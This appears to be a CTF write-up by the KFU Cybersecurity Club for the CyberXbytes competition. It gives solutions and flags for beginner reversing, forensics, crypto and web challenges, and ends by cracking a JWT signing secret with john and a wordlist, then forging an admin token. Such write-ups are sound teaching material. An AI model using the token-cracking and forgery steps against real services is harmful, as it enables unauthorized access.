Post

KFU Cybersecurity Club

KFU Cybersecurity Club

Write-up for the CyberXbytes & KFU Cybersecurity Club CTF Challenge Competition held on November 26, 2025.

Reverse Engineer

XORcist

Description: Think you got what it takes? nothing but a hardcore reversing.

1
2
3
4
5
6
7
8
9
$ file chal-1     
chal-1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa46185dcf8f115ba2bed8fa3e4e29f51cb3ec17, for GNU/Linux 3.2.0, not stripped

/chal-1     
Usage: ./chal-1 <pass>

./chal-1 test   
^dxo_dixefO.k.on,szB[hsBRoBI-oihox`
                                                                                             

loaded the binary into Ghidra, and this is the main function:

Alt

It takes the user input, then calculates the sum of the ASCII values. If true, it will XOR the encrypted flag with the value 0x77(119d), otherwise it will XOR it with 0xaa (170d). ASCII Table:

  • d → 100
  • 1 → 49

sum = 149

1
2
$ ./chal-1 d1
CyberBytex{R3v3rs1ng_Fun_Or_T0rture}

ELF Binary

Description: You have an ELF binary, and your task is to conduct a basic analysis to extract the flag to win.

1
2
3
4
5
6
 $ file Vault       
Vault: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a686b990775b6c1d2ef1a942922c3cdf0ddff35e, for GNU/Linux 3.2.0, not stripped
                                                                                                                                                                                          
─$ ./Vault    
Password: test
Incorrect password.

Loaded the binary into Ghidra, and here is the main function, the password is compared in the function checkpassword

Alt

The correct password is saved in the local_98 array

Alt

Extracted the hex values in this array and converted them from hex

Alt

1
2
3
 ./Vault       
Password: CyberXbytes{345y_r3v3rs1ng_yeah?}
Correct password!

Forensics

SRT

Description: It is said that there is a secret hidden inside the engine. Can you uncover it?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
$ exiftool Title-Edit.mp4                                 
ExifTool Version Number         : 12.57
File Name                       : Title-Edit.mp4
Directory                       : .
File Size                       : 41 MB
File Modification Date/Time     : 2025:06:12 01:01:18+03:00
File Access Date/Time           : 2025:11:26 17:03:29+03:00
File Inode Change Date/Time     : 2025:11:26 17:03:10+03:00
File Permissions                : -rw-rw-r--
File Type                       : MP4
File Type Extension             : mp4
MIME Type                       : video/mp4
Major Brand                     : MP4 Base Media v1 [IS0 14496-12:2003]
Minor Version                   : 0.2.0
Compatible Brands               : isom, iso2, avc1, mp41
Media Data Size                 : 40960694
Media Data Offset               : 48
Movie Header Version            : 0
Create Date                     : 0000:00:00 00:00:00
Modify Date                     : 0000:00:00 00:00:00
Time Scale                      : 1000
Duration                        : 20.00 s
Preferred Rate                  : 1
Preferred Volume                : 100.00%
Preview Time                    : 0 s
Preview Duration                : 0 s
Poster Time                     : 0 s
Selection Time                  : 0 s
Selection Duration              : 0 s
Current Time                    : 0 s
Next Track ID                   : 4
Track Header Version            : 0
Track Create Date               : 0000:00:00 00:00:00
Track Modify Date               : 0000:00:00 00:00:00
Track ID                        : 1
Track Duration                  : 16.90 s
Track Layer                     : 0
Track Volume                    : 0.00%
Image Width                     : 1920
Image Height                    : 1080
Graphics Mode                   : srcCopy
Op Color                        : 0 0 0
Compressor ID                   : avc1
Source Image Width              : 1920
Source Image Height             : 1080
X Resolution                    : 72
Y Resolution                    : 72
Bit Depth                       : 24
Buffer Size                     : 0
Max Bitrate                     : 19196766
Average Bitrate                 : 19196766
Video Frame Rate                : 30
Balance                         : 0
Audio Format                    : mp4a
Audio Channels                  : 2
Audio Bits Per Sample           : 16
Audio Sample Rate               : 48000
Matrix Structure                : 1 0 0 0 1 0 0 0 1
Media Header Version            : 0
Media Create Date               : 0000:00:00 00:00:00
Media Modify Date               : 0000:00:00 00:00:00
Media Time Scale                : 1000000
Media Duration                  : 20.00 s
Media Language Code             : und
Handler Description             : SubtitleHandler
Other Format                    : tx3g
Font Table                      : Arial
Warning                         : [minor] The ExtractEmbedded option may find more tags in the media data
Handler Type                    : Metadata
Handler Vendor ID               : Apple
Encoder                         : Lavf61.7.100
Comment                         : Create videos with https://clipchamp.com/en/video-editor - free online video editor, video compressor, video converter.
Image Size                      : 1920x1080
Megapixels                      : 2.1
Avg Bitrate                     : 16.4 Mbps
Rotation                        : 0

The video contains Base64 chunks, I used ffmpeg to extract them, but you can use strings command. An .srt extension stands for SubRip Subtitle file, a plain text file format used to store video subtitles and captions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ffmpeg -i Title-Edit.mp4 -map 0:2 -c:s srt output.srt

cat output.srt           
1
00:00:01,000 --> 00:00:05,000
UEsDBBQACQBjAK6+y1poo6pWlQAAAIMCAAAIAAsAZmxhZy50eHQBmQcAAQBBRQMIAPTVvxO4Rh06SqoGxkUNsA7OghQdLJVVfmLoRB9lp

2
00:00:06,000 --> 00:00:10,000
52RvhkQZiY6eleJ8Q7upiaxOnl9eMeFFRAiZsF338lzR1i6sQ9H8WBxaBEjws5iP6dAMZFUzNCCVp6vnF0b4U9qtQvK47PkY6gEd3syKZpfBSyo3cDgypzTj+MY3ZhAjiEdnq39Gm/6GYRcQ5uRxNb2NWoKYnDcUEsHCGijqlaVAAAAgwIAAFBLAQIfABQACQBjAK6

3
00:00:10,000 --> 00:00:15,000
+y1poo6pWlQAAAIMCAAAIAC8AAAAAAAAAIAAAAAAAAABmbGFnLnR4dAoAIAAAAAAAAQAYABwao+IS29sBX9bhARTb2wH4QxfSEtvbAQGZBwABAEFFAwgAUEsFBgAAAAABAAEAZQAAANYAAAAAAA==

4
00:00:16,000 --> 00:00:20,000
c3J0X3Bhc3N3b3Jk

Alt

So the base64 decoded is a zip file and the last base64 encoded is the zip password

1
2
$ echo "c3J0X3Bhc3N3b3Jk" | base64 -d
srt_password 

Rebuild the base64 to zip file

1
echo "UEsDBBQACQBjAK6+y1poo6pWlQAAAIMCAAAIAAsAZmxhZy50eHQBmQcAAQBBRQMIAPTVvxO4Rh06SqoGxkUNsA7OghQdLJVVfmLoRB9lp52RvhkQZiY6eleJ8Q7upiaxOnl9eMeFFRAiZsF338lzR1i6sQ9H8WBxaBEjws5iP6dAMZFUzNCCVp6vnF0b4U9qtQvK47PkY6gEd3syKZpfBSyo3cDgypzTj+y1poo6pWlQAAAIMCAAAIAC8AAAAAAAAAIAAAAAAAAABmbGFnLnR4dAoAIAAAAAAAAQAYABwao+IS29sBX9bhARTb2wH4QxfSEtvbAQGZBwABAEFFAwgAUEsFBgAAAAABAAEAZQAAANYAAAAAAA==" | base64 -d > decoded.zip
1
2
file decoded.zip
decoded.zip: Zip archive data, made by v3.1, extract using at least v2.0, last modified Jun 11 2025 23:53:28, uncompressed size 643, method=AES Encrypted

unzip with the password we found “srt_password

1
7z x decoded.zip 

The extracted file was a the flag coded in morse

1
....- ...-- / --... ----. / -.... ..--- / -.... ..... / --... ..--- / ..... ---.. / -.... ..--- / --... ----. / --... ....- / -.... ..... / --... ...-- / --... -... / --... ....- / -.... ---.. / -.... ..... / ..... ..-. / ..... ...-- / ..... ..--- / ..... ....- / ..... ..-. / -.... ----. / --... ...-- / ..... ..-. / -.... .---- / -.... ...-- / --... ....- / --... ..... / -.... .---- / -.... -.-. / -.... -.-. / --... ----. / ..... ..-. / -.... ...-- / -.... .---- / -.... -.-. / -.... -.-. / -.... ..... / -.... ....- / ..... ..-. / ....- ---.. / -.... ..... / -.... -.-. / -.... -.-. / ....- ...-- / -.... .---- / --... ....- / --... -..

First from Morse code, then from hex

Alt

GIF

Description: Can you find the flag?

The provided GIF contained multiple barcodes that contained base64 encoding. So I used this Python code to capture each frame and extract the data from the barcode

1
2
3
4
5
6
7
8
9
10
11
12
from PIL import Image, ImageSequence
from pyzbar.pyzbar import decode

# Open GIF
gif = Image.open("CyberXbytes.gif")

# Iterate through frames if animated
for frame in ImageSequence.Iterator(gif):
    barcodes = decode(frame)
    for barcode in barcodes:
        print("Type:", barcode.type)
        print("Data:", barcode.data.decode("utf-8"))

From the extracted base64 encoding, one of them is the real flag.

1
2
 echo "Q3liZXJYYnl0ZXN7aGl3bDkyOTNpd2JmOTI0aGVvOWRqfQ==" | base64 -d
CyberXbytes{hiwl9293iwbf924heo9dj} 

Scan Me

Description: My friend manipulated the photo. Please fix the photo and see the flag.

1
2
3
4
5
6
7
 $ file HereFlag.png                               
HereFlag.png: data
                                                                                                                                 
─$ xxd HereFlag.png | head                                 
00000000: 8950 4d47 0d0a 1a0a 0000 000d 5244 4849  .PMG........RDHI
00000010: 0000 014a 0000 014a 0100 0000 0053 522b  ...J...J.....SR+

The header signature is wrong, PMG instead of PNG. Fixed this with hexeditor. Refer to this article for more info. The PNG header is :

1
8950 4e47 0d0a 1a0a

We just need to replace the D hex with E and save it.

Alt

Then I checked the fixed file metadata, which gave me a warning “PNG image did not start with IHDR”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
xxd fixed.png  | head
00000000: 8950 4e47 0d0a 1a0a 0000 000d 5244 4849  .PNG........RDHI

exiftool fixed.png 
ExifTool Version Number         : 12.57
File Name                       : fixed.png
Directory                       : .
File Size                       : 577 bytes
File Modification Date/Time     : 2025:09:12 12:29:27+03:00
File Access Date/Time           : 2025:09:12 12:29:38+03:00
File Inode Change Date/Time     : 2025:09:12 12:29:27+03:00
File Permissions                : -rw-rw-r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Warning                         : PNG image did not start with IHDR

The Chunk type IHDR also needs to be fixed. Open the hex editor and fix the chunk type to:

1
4948 4452  

Alt

1
2
xxd fixed.png         
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR

Fixed! and we can now open the image and scan the barcode here to get the flag

Alt

Crypto

ROT13

Description: Cryptography can be easy, do you know what ROT13 is?

We just need to decode the text with ROT13

1
PloreKolgrf{abg_gbb_onq_bs_n_ceboyrz}

Alt

Dvorak

Description: where familiar keys live in unfamiliar places — fast, odd, and perfectly confusing.

1
Jfx.pQxfy.o?.u.x7ea246a4146xa806u01..900a99u+

The challenge hint at the Dvorak layout, where the familiar keys on the keyboard are in different places. It places the most frequently used letters on the home row to minimize finger movement.

Used this website to return the final result:

  • Input keyboard: Dvorak (two hands)
  • Output keyboard: Qwerty

Alt

CipherStream

Description: A storm of ciphers, noise, and chaos stands between you and the hidden flag. Shuffled fragments, cryptic layers, and deceptive patterns await. Can you weather the CipherStorm and emerge victorious?

1
U21acGJIbEZRQ05DUMMYNOISEPSVNFMTIzRkFhV1EXTRALAYERpoYkhwN0VYVFJBISFJeVFsZERCNU0xUkFORE9NREFUQTlLSmlvb01IUjNNT1JFVEVYVGN6TmxYMHgxYW5sbWR6Y3hNSFZmUVRObFlYMD0=

The challenge goal is to remove the noise from the base64 encoded character. The identified noise:

  • DUMMYNOISE
  • EXTRALAYER

It resulted in another base64 character

1
SmZpbHlFQCNOISE123FAaWZhbHp7EXTRA!!IyQldDB5M1RANDOMDATA9KJiooMHR3MORETEXTczNlX0x1anlmdzcxMHVfQTNlYX0=

Identify noise:

  • EXTRA!!
  • NOISE123
  • RANDOMDATA
  • MORETEXT

result in another noise data

1
JfilyE@!@ifalz{#$%t0y3_J&*(0tws3e_Lujyfw710u_A3ea}

remove these symbols @!@#$%&*(

1
JfilyEifalz{t0y3_J0tws3e_Lujyfw710u_A3ea}

Now keep rotating the character till you get the flag

Alt

The correct flag:

1
CyberXbytes{m0r3_C0mpl3x_Encryp710n_T3xt}

WEB

Mystery Quest

Description: Deep within the code lies a challenge waiting for those who can untangle the digital web. Solving it requires focus and precision, as tracing the scattered parts of the message is key. Do you have what it takes to uncover the hidden truth? Prove your skills and navigate this challenge to reach the carefully concealed ending.

We are given a website that generates random decoy flags

Alt

This is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CyberXbytes </title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>Welcome to CyberXbytes Challenge</h1>
        <p>Click the button below to generate a flag. Can you find the real one?</p>
        <button onclick="generateFlag()">Generate Flag</button>
        <div id="flag-output"></div>
    </div>
    <script src="script.js"></script>
    <script src="flag_partials.js"></script>
</body>
</html>

The challenge goal is to collect the scattered parts of the flag from the website’s source code. and searched inside these files:

flag_partials.js

1
console.log("Ti0n$_");

script.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function generateFlag() {
    const randomFlags = [
        "CyberXbytes{tr1cked_y0u_1}",
        "CyberXbytes{n0t_qu1te_1t}",
        "CyberXbytes{g00d_luck_next_time}",
        "CyberXbytes{wR0ng_fl4g}",
        "CyberXbytes{trY_a9ain}",
        "CyberXbytes{keEp_L00kinG}",
        "CyberXbytes{Almost_th3rE}",
        "CyberXbytes{y0u_m1ssed_1t}",
        "CyberXbytes{just_a_b1t_m0re}",
        "CyberXbytes{another_red_herr1ng}",
        "CyberXbytes{bett3r_luck_next}",
        "CyberXbytes{missed_aga1n}",
        "CyberXbytes{st1ll_wrong}",
        "CyberXbytes{nice_try_th0ugh}",
        "CyberXbytes{hmm_1nteresting}",
        "CyberXbytes{b4d_gu3ss}",
        "CyberXbytes{g0od_try}",
        "CyberXbytes{not_th3_right_one}",
        "CyberXbytes{try0_again}",
        "CyberXbytes{anoth3r_m1stake}"
    ];

    const randomIndex = Math.floor(Math.random() * randomFlags.length);
    document.getElementById("flag-output").innerText = randomFlags[randomIndex];
}

console.log("yOU _wON}");

and lastly style.css

1
2
3
4
5
flag-css::before {
    content: "CyberXbytes{c0NGrATu";
    visibility: hidden;
    position: absolute;
}

All pieces combined:

1
CyberXbytes{c0NGrATuTi0n$_yOU_wON}

Quest

Description: Test your skills in this dynamic web application challenge. Analyze, adapt, and conquer!

1
2
3
$ curl  http://185.185.82.29:5001/
<h1>Access Denied</h1>
<p>Sorry, your browser is not supported. Please use CTF_Junior.</p>

We must change the user-agent to CTF_Junior

1
2
3
4
$ curl -A "CTF_Junior"  http://185.185.82.29:5001/ 

<h1>Access Denied</h1>
<p>We apologize, but the site will be available to the public on January 1st, 2030.</p>

Change the Date header to January 1st, 2030 to view the content

1
2
3
4
5
6
$ curl -A "CTF_Junior" -H "Date: Tue, 01 Jan 2030 00:00:00 GMT"  http://185.185.82.29:5001/
 
 <h1>Congratulations!</h1>
<p>You found the flag:</p>
<p><strong>CyberXbytes{W38_ctf_Ch@lLEnG3_soLVEd}</strong></p>

Secret Vault

Description: Three parts make the key. Only one combination opens the vault.

Alt

Token:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.KimmF-GuaVVyqXUm4pqvFrnQFkxnin5qwkrtgQUX4iE

JSON Web Tokens consist of three parts separated by dots (.), which are:

  • Header → {"alg":"HS256","typ":"JWT"}
  • Payload → {"user":"guest"}
  • Signature → “

The signature is calculated by the encoded header, the encoded payload, a secret, the algorithm specified in the header, and signing that.

Crack the secret with john, then use jwt.io website to generate a new signature with user admin

1
2
3
4
5
6
7
8
9
john token.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rafa2986         (?)     
1g 0:00:00:00 DONE (2025-11-26 16:14) 1.298g/s 5729Kp/s 5729Kc/s 5729KC/s rage952hook341..raerae468
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Alt

Insert the access token into the input field, and we get the flag

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.UDf055up-PpeZMWbZC75EyKn8QCaq3mhoUEA__jipi4

Alt

This post is licensed under CC BY 4.0 by the author.